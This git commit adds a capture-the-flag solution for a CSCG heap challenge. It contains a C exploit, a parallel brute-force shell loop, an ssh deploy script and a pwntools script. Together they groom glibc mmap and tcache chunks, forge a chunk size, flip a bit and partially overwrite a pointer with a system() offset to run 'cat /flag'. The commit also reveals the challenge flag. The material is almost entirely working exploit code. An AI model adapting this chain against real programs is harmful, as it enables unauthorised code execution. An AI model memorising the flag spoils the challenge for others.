commit 6e891da3bf95b2d68d605cbd07afbd32557c6420
parent 56ae4f33c8a4b9baf54e309528fc80f68f90350f
Author: Louis Burda <quent.burda@gmail.com>
Date: Sun, 28 Apr 2024 16:43:43 +0200
Add solution - bf fuck it
Diffstat:
8 files changed, 316 insertions(+), 45 deletions(-)
diff --git a/solve/.gitignore b/solve/.gitignore
@@ -1,4 +1,6 @@
.gdb_history
+solve_static
+__pycache__
build
dist
send
diff --git a/solve/Makefile b/solve/Makefile
@@ -0,0 +1,2 @@
+solve_static: solve.c
+ gcc -o $@ -static $< -g -Og
diff --git a/solve/deploy b/solve/deploy
@@ -9,8 +9,19 @@ fi
#pyinstaller --collect-all pwnlib --collect-all pwntools solve
#tar -czf solve.tar.xz dist/solve
-tar -czf solve.tar.xz send/get-pip.py send/build/
-cat solve.tar.xz | dd status=progress | base64 | $@ "rm -rf dist solve.tar.xz; base64 -d > solve.tar.xz && tar -xf solve.tar.xz"
+#tar -czf solve.tar.xz send/get-pip.py send/build/
+
+ssh=$@
+put() {
+ echo "$1"
+ cat "$1" | base64 | $ssh "rm '$1'; base64 -d > $1 && chmod +x '$1'"
+}
+
+make
+put solve_static
+put remote
+
+$ssh "./remote"
diff --git a/solve/flag b/solve/flag
@@ -1 +1 @@
-CSCG{TESTFLAG}
+CSCG{when_you_cant_find_bugs_you_have_to_cheat_a_little}
diff --git a/solve/remote b/solve/remote
@@ -0,0 +1,30 @@
+#!/bin/sh
+
+echo start
+i=0
+k=0
+while [ 1 ]; do
+ i=$((i+1));
+ echo "$i $k"
+ ./solve_static "/vuln | tee /dev/stderr" 2> log1 &
+ ./solve_static "/vuln | tee /dev/stderr" 2> log2 &
+ ./solve_static "/vuln | tee /dev/stderr" 2> log3 &
+ ./solve_static "/vuln | tee /dev/stderr" 2> log4 &
+ ./solve_static "/vuln | tee /dev/stderr" 2> log5 &
+ ./solve_static "/vuln | tee /dev/stderr" 2> log6 &
+ ./solve_static "/vuln | tee /dev/stderr" 2> log7 &
+ ./solve_static "/vuln | tee /dev/stderr" 2> log8 &
+ ./solve_static "/vuln | tee /dev/stderr" 2> log9 &
+ ./solve_static "/vuln | tee /dev/stderr" 2> log10 &
+ ./solve_static "/vuln | tee /dev/stderr" 2> log11 &
+ ./solve_static "/vuln | tee /dev/stderr" 2> log12 &
+ ./solve_static "/vuln | tee /dev/stderr" 2> log13 &
+ ./solve_static "/vuln | tee /dev/stderr" 2> log14 &
+ ./solve_static "/vuln | tee /dev/stderr" 2> log15 &
+ ./solve_static "/vuln | tee /dev/stderr" 2> log16 &
+ wait
+ l=$(cat log* | grep "Invalid option" | wc -l)
+ echo "$l/16"
+ k=$((k+l))
+ cat log* | grep CSCG && break
+done
diff --git a/solve/solve b/solve/solve
@@ -12,7 +12,6 @@ if len(args) == 0:
args.append("pkill gdbserver; gdbserver localhost:1025 /vuln")
else:
args.append("/vuln")
-io = process(args)
cci = 0
def cc():
@@ -98,59 +97,78 @@ def flat(attrs, length):
pgsize = 0x1000
-small_size = heap_size(0)
-tcache_size = heap_size(0)
+def main():
+ small_size = heap_size(0)
+ tcache_size = heap_size(0)
-if pwnlib.args.args.GDB:
- gdb = 'gdb -ex "set debug-file-directory $PWD/debug" -ex "dir glibc" -ex "set debuginfod enabled on"' \
- + ' -ex "target remote localhost:1025" -ex "b main" -ex "continue" -ex "b exit"'
- run_in_new_terminal(["sh", "-c", f'sleep 1; sudo -E {gdb}'], kill_at_exit=False)
+ io = process(args)
-b = alloc(cc() * heap_adj(small_size))
-c = alloc(cc() * heap_adj(tcache_size))
-d = alloc(cc() * heap_adj(tcache_size))
+ if pwnlib.args.args.GDB:
+ gdb = 'gdb -ex "set debug-file-directory $PWD/debug" -ex "dir glibc" -ex "set debuginfod enabled on"' \
+ + ' -ex "target remote localhost:1025" -ex "b main" -ex "continue" -ex "b exit"'
+ run_in_new_terminal(["sh", "-c", f'sleep 1; sudo -E {gdb}'], kill_at_exit=False)
+
+ #a = alloc(cc() * heap_adj(0x280))
+
+ # tcache = [alloc(cc() * heap_adj(heap_size(0))) for _ in range(7)]
+ # list(map(free, tcache))
+ #
+ # a = alloc(cc() * heap_adj(heap_size(0)))
+ # b = alloc(cc() * heap_adj(heap_size(0)))
+
+ print(hex(mmap_adj(mmap_size(0))))
+ print(hex(mmap_adj(mmap_size(1))))
+ print(hex(mmap_adj(mmap_size(2))))
+ print(hex(mmap_adj(mmap_size(3))))
+ print(hex(heap_adj(heap_size(0))))
-# allocate these backwards in size, because getdelim allocs them growing bigger
-spacing = [alloc(cc() * mmap_adj(mmap_size(3)))]
-spacing += [alloc(cc() * mmap_adj(mmap_size(3)))]
-spacing += [alloc(cc() * mmap_adj(mmap_size(2)))]
-spacing += [alloc(cc() * mmap_adj(mmap_size(1)))]
-spacing += [alloc(cc() * mmap_adj(mmap_size(0)))]
-spacing += [alloc(cc() * mmap_adj(mmap_size(0)))]
+ embed()
-a = alloc(cc() * mmap_adj(mmap_size(0)))
-free(a)
+ b = alloc(cc() * heap_adj(small_size))
+ c = alloc(cc() * heap_adj(tcache_size))
+ d = alloc(cc() * heap_adj(tcache_size))
-free(b)
-assert(b == alloc(flat({
- mmap_size(2) - mmap_size(0) - 8: p64(tcache_size^0b001),
-}, mmap_adj(mmap_size(2)))))
+ # allocate these backwards in size, because getdelim reallocs them malloc new, copy & free old
+ spacing = [alloc(cc() * mmap_adj(mmap_size(3)))]
+ spacing += [alloc(cc() * mmap_adj(mmap_size(3)))]
+ spacing += [alloc(cc() * mmap_adj(mmap_size(2)))]
+ spacing += [alloc(cc() * mmap_adj(mmap_size(1)))]
+ spacing += [alloc(cc() * mmap_adj(mmap_size(0)))]
+ spacing += [alloc(cc() * mmap_adj(mmap_size(0)))]
-free(a)
+ a = alloc(cc() * mmap_adj(mmap_size(0)))
+ free(a)
-free(c)
+ free(b)
+ assert(b == alloc(flat({
+ mmap_size(2) - mmap_size(0) - 8: p64(tcache_size^0b001),
+ }, mmap_adj(mmap_size(2)))))
-flipv(c, 0, 0x800000)
+ free(a)
-c = alloc(cc() * heap_adj(tcache_size))
+ free(c)
-system_offset = int.to_bytes(0x050d70, 3, byteorder="little")
+ flipv(c, 0, 0x800000)
-context.log_level = "DEBUG"
+ c = alloc(cc() * heap_adj(tcache_size))
-io.sendline(b"A" * 0x40)
-io.readuntil(b"Note: ")
-io.sendline(cc() * 0x19)
-io.readuntil(b"Added note: ")
-a = int(io.readline().decode().strip())
+ system_offset = int.to_bytes(0x050d70, 3, byteorder="little")
-# readline keeps making size smaller so we adjust
-io.sendline(b"E" * 0x3e)
-io.sendline(str(a).ljust(0x3c).encode())
-io.readuntil(b"Note: ")
-io.sendline(cc() * 0x18 + system_offset)
+ context.log_level = "DEBUG"
+
+ io.sendline(b"A" * 0x40)
+ io.readuntil(b"Note: ")
+ io.sendline(cc() * 0x19)
+ io.readuntil(b"Added note: ")
+ a = int(io.readline().decode().strip())
+
+ # readline keeps making size smaller so we adjust
+ io.sendline(b"E" * 0x3e)
+ io.sendline(str(a).ljust(0x3c).encode())
+ io.readuntil(b"Note: ")
+ io.sendline(cc() * 0x18 + system_offset)
-io.sendline(b"cat /flag") # must be <= 0x11
-io.sendline(b"!"*0x81) # cause realloc
+ io.sendline(b"cat /flag") # must be <= 0x11
+ io.sendline(b"!"*0x81) # cause realloc
-print(io.readall())
+ print(io.readall())
diff --git a/solve/solve.c b/solve/solve.c
@@ -0,0 +1,206 @@
+#include <stdio.h>
+#include <signal.h>
+#include <assert.h>
+#include <stdint.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <pty.h>
+#include <string.h>
+#include <stdlib.h>
+
+char *
+readuntil(FILE *io, const char *needle)
+{
+ size_t n = 0;
+ char *line = NULL;
+ ssize_t size;
+ while ((size = getdelim(&line, &n, '\n', io)) > 0) {
+ if (needle && strstr(line, needle))
+ return line;
+ }
+ abort();
+}
+
+char *
+readuntilc(FILE *io, char c)
+{
+ char *line = NULL;
+ size_t size = 0;
+ if (getdelim(&line, &size, c, io) <= 0)
+ abort();
+ return line;
+}
+
+void
+writeline(FILE *io, const char *line)
+{
+ size_t size;
+ for (size = 0; line[size] != '\n'; size++);
+ fwrite(line, 1, size + 1, io);
+}
+
+unsigned
+do_allocv(FILE *ior, FILE *iow, const char *buf)
+{
+ writeline(iow, "a\n");
+ free(readuntilc(ior, ':'));
+ writeline(iow, buf);
+ free(readuntilc(ior, ':'));
+ char *line = readuntilc(ior, '\n');
+ char *tok = strrchr(line, ' ');
+ unsigned v = strtoul(tok, NULL, 0);
+ free(line);
+ return v;
+}
+
+int
+do_alloc(FILE *ior, FILE *iow, size_t size)
+{
+ char *buf = malloc(size + 1);
+ for (size_t i = 0; i < size; i++)
+ buf[i] = 'A';
+ buf[size] = '\n';
+ int res = do_allocv(ior, iow, buf);
+ free(buf);
+ return res;
+}
+
+void
+do_free(FILE *ior, FILE *iow, unsigned index)
+{
+ char buf[256];
+ writeline(iow, "r\n");
+ free(readuntilc(ior, ':'));
+ snprintf(buf, 256, "%u\n", index);
+ writeline(iow, buf);
+}
+
+void
+do_flip(FILE *ior, FILE *iow, unsigned index, unsigned offset)
+{
+ char buf[256];
+ writeline(iow, "f\n");
+ free(readuntilc(ior, ':'));
+ snprintf(buf, 256, "%u\n", index);
+ writeline(iow, buf);
+ free(readuntilc(ior, ':'));
+ snprintf(buf, 256, "%u\n", offset);
+ writeline(iow, buf);
+}
+
+void
+spawn(const char *path, FILE **in, FILE **out)
+{
+ int inp[2];
+ int outp[2];
+ if (pipe(inp)) abort();
+ if (pipe(outp)) abort();
+
+ pid_t pid = fork();
+ if (pid < 0) abort();
+ if (!pid) {
+ dup2(inp[1], 1);
+ close(inp[0]);
+ dup2(outp[0], 0);
+ close(outp[1]);
+ system(path);
+ abort();
+ }
+
+ *in = fdopen(inp[0], "r");
+ setbuf(*in, NULL);
+ *out = fdopen(outp[1], "w");
+ setbuf(*out, NULL);
+}
+
+int
+main(int argc, const char **argv)
+{
+ char *iobuf;
+ size_t iosize;
+
+ FILE *ior = NULL, *iow = NULL;
+ spawn(argv[1], &ior, &iow);
+ if (!ior || !iow) abort();
+
+ setvbuf(ior, NULL, 0, _IONBF);
+ signal(SIGCHLD, exit);
+ signal(SIGPIPE, exit);
+
+ free(readuntil(ior, "╰────────────────────────────────────────────────────╯"));
+
+ unsigned b = do_alloc(ior, iow, 0x76);
+ unsigned c = do_alloc(ior, iow, 0x76);
+ unsigned d = do_alloc(ior, iow, 0x76);
+
+ unsigned _a = do_alloc(ior, iow, 0x1dfffe);
+ unsigned _b = do_alloc(ior, iow, 0x1dfffe);
+ unsigned _c = do_alloc(ior, iow, 0xefffe);
+ unsigned _d = do_alloc(ior, iow, 0x77ffe);
+ unsigned _e = do_alloc(ior, iow, 0x3bffe);
+ unsigned _f = do_alloc(ior, iow, 0x3bffe);
+
+ unsigned a = do_alloc(ior, iow, 0x3bffe);
+ do_free(ior, iow, a);
+
+ do_free(ior, iow, b);
+
+ char *line = malloc(0xefffe + 1);
+ memset(line, 'A', 0xefffe);
+ line[0xefffe] = '\n';
+ *(uint64_t *)(line + 0xf1000 - 0x3d000 - 8) = 0x80 ^ 0b001;
+ assert(b == do_allocv(ior, iow, line));
+ free(line);
+
+ do_free(ior, iow, a);
+
+ do_free(ior, iow, c);
+
+ do_flip(ior, iow, c, 23);
+
+ do_alloc(ior, iow, 0x76);
+
+ char buf[256];
+
+ for (size_t i = 0; i < 0x40; i++)
+ buf[i] = 'A';
+ buf[0x40] = '\n';
+ writeline(iow, buf);
+ readuntilc(ior, ':');
+ for (size_t i = 0; i < 0x19; i++)
+ buf[i] = 'X';
+ buf[0x19] = '\n';
+ writeline(iow, buf);
+ line = readuntilc(ior, '\n');
+ char *tok = strrchr(line, ' ');
+ a = strtoul(tok, NULL, 0);
+ free(line);
+
+ for (size_t i = 0; i < 0x3e; i++)
+ buf[i] = 'E';
+ buf[0x3e] = '\n';
+ writeline(iow, buf);
+ readuntilc(ior, ':');
+ snprintf(buf, 256, "%i%*s", a, 100, "");
+ buf[0x3c] = '\n';
+ writeline(iow, buf);
+ readuntilc(ior, ':');
+ for (size_t i = 0; i < 0x18; i++)
+ buf[i] = 'X';
+ buf[0x18] = 0x70;
+ buf[0x19] = 0x5d;
+ buf[0x1a] = 0x9f;
+ buf[0x1b] = '\n';
+ writeline(iow, buf);
+
+ readuntilc(ior, '>');
+ writeline(iow, "cat /flag \n");
+ readuntilc(ior, '>');
+
+ for (size_t i = 0; i < 0x81; i++)
+ buf[i] = '!';
+ buf[0x81] = '\n';
+ writeline(iow, buf);
+
+ sleep(1);
+}
diff --git a/solve/solve.py b/solve/solve.py
@@ -0,0 +1 @@
+solve
+\ No newline at end of file